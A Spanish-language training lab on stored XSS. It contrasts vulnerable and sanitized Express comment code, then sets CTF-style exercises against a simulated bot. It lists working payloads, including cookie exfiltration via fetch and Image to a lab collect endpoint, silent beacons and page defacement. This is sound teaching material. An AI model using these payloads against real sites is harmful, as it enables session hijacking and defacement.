XSS Persistente
El payload se almacena en la base de datos y se ejecuta en el navegador de cualquier usuario que visite la página infectada. El ataque más peligroso.
¿Por qué es el más peligroso?
En el XSS reflejado el atacante necesita que la víctima haga clic en un enlace malicioso. En el XSS persistente (también llamado stored XSS), el payload se guarda en el servidor y se ejecuta automáticamente cada vez que cualquier usuario carga la página.
No hace falta engañar a nadie para que visite una URL especial. Basta con que la víctima navegue normalmente a una sección del sitio que ya está infectada.
Superficies de ataque frecuentes
Secciones de comentarios
La más clásica. Cualquiera puede publicar, el contenido se almacena y se muestra a todos los visitantes sin escapar.
👤 Perfiles de usuario
El campo "bio" o "nombre" se muestra en páginas públicas o paneles de administración. Un admin con sesión privilegiada visita el perfil.
📦 Nombres de productos / tickets
Sistemas de soporte donde el asunto de un ticket se renderiza en el panel de agentes sin sanitizar.
Campos de formularios
Cualquier dato que se almacene y luego se muestre: descripciones, notas, mensajes privados, etiquetas, etc.
Código vulnerable vs. seguro
// POST: almacena sin sanitizar
app.post('/comments', async (req, res) => {
const { author, content } = req.body;
// ❌ Se guarda el HTML en bruto
await db.run(
'INSERT INTO comments VALUES (?,?)',
[author, content] // sin escapar
);
res.redirect('/comments');
});
// GET: renderiza sin escapar
app.get('/comments', async (req, res) => {
const rows = await db.all('SELECT * FROM comments');
// ❌ Cada content se inserta como HTML
const html = rows.map(r =>
`<p><b>${r.author}</b>: ${r.content}</p>`
).join('');
res.send(`<body>${html}</body>`);
});
import DOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const purify = DOMPurify(window);
// POST: sanitizar antes de guardar
app.post('/comments', async (req, res) => {
const author = escapeHtml(req.body.author);
// ✅ Opción A: escapar completamente
const content = escapeHtml(req.body.content);
// ✅ Opción B: permitir HTML pero sanitizar
// const content = purify.sanitize(req.body.content);
await db.run(
'INSERT INTO comments VALUES (?,?)',
[author, content]
);
res.redirect('/comments');
});
El escenario del bot — Session Hijacking
Atacante
publica payload
BD
almacena
Bot/Admin
visita página
Payload
se ejecuta
Atacante
recibe cookie
/api/comments almacena los comentarios en Cloudflare KV y los renderiza
sin sanitizar. El bot víctima tiene la cookie bot_session=FLAG{...}
sin HttpOnly. Cuando el bot "visita" la página, tu payload se ejecuta en su contexto.
El bot tiene la cookie bot_session=FLAG{...} (sin HttpOnly).
Cuando visita la página de comentarios, los scripts almacenados se ejecutan en su contexto.
Carga el payload en el campo de comentario:
<img src=x onerror="alert('XSS en comentario!')">
<script>fetch('/api/collect?c='+encodeURIComponent(document.cookie))</script>
<img src="/api/collect?c=BEACON_TEST" style="display:none" width="1" height="1">
<script>new Image().src='/api/collect?c='+encodeURIComponent(document.cookie)</script>
<style>body{background:#0a0f1e!important}h1{color:#f43f5e!important}</style><div style="position:fixed;top:1rem;right:1rem;background:#f43f5e;color:#fff;padding:.5rem 1rem;border-radius:4px;font-weight:700;z-index:9999">💀 INFECTADO</div>
Aquí ves los comentarios en texto plano. Para ver la versión vulnerable donde el XSS se ejecuta,
abre /api/comments.
- Publica un payload en los comentarios
- Verifica que el payload está almacenado (vista previa)
- Envía el bot para que "visite" la página infectada
- Comprueba que los datos del bot fueron capturados
Publica un comentario con un payload que modifique visualmente la página de comentarios
(/api/comments) de forma permanente para cualquier visitante.
El desfiguramiento debe ser visible cada vez que alguien cargue la página.
Publica un payload que exfiltre cookies a /api/collect.
Luego envía el bot para que visite la página infectada.
El bot tiene la cookie bot_session=FLAG{...}. Valida que fue capturada.
Pista
Usa el payload nº4. Publícalo como comentario. Ve al panel de laboratorio y pulsa "Enviar bot a la página". El bot simulará ejecutar tu payload con sus cookies. Luego vuelve aquí y valida.
Crea un payload que robe la cookie del bot de forma completamente silenciosa: sin alertas, sin cambios visuales, sin que la página parezca diferente. En un ataque real, el atacante quiere pasar desapercibido.
Pista
Una imagen 1×1 invisible, navigator.sendBeacon(),
o un <link rel="prefetch"> dinámico son técnicas silenciosas.
El objetivo es que ni el usuario ni el bot "noten" nada.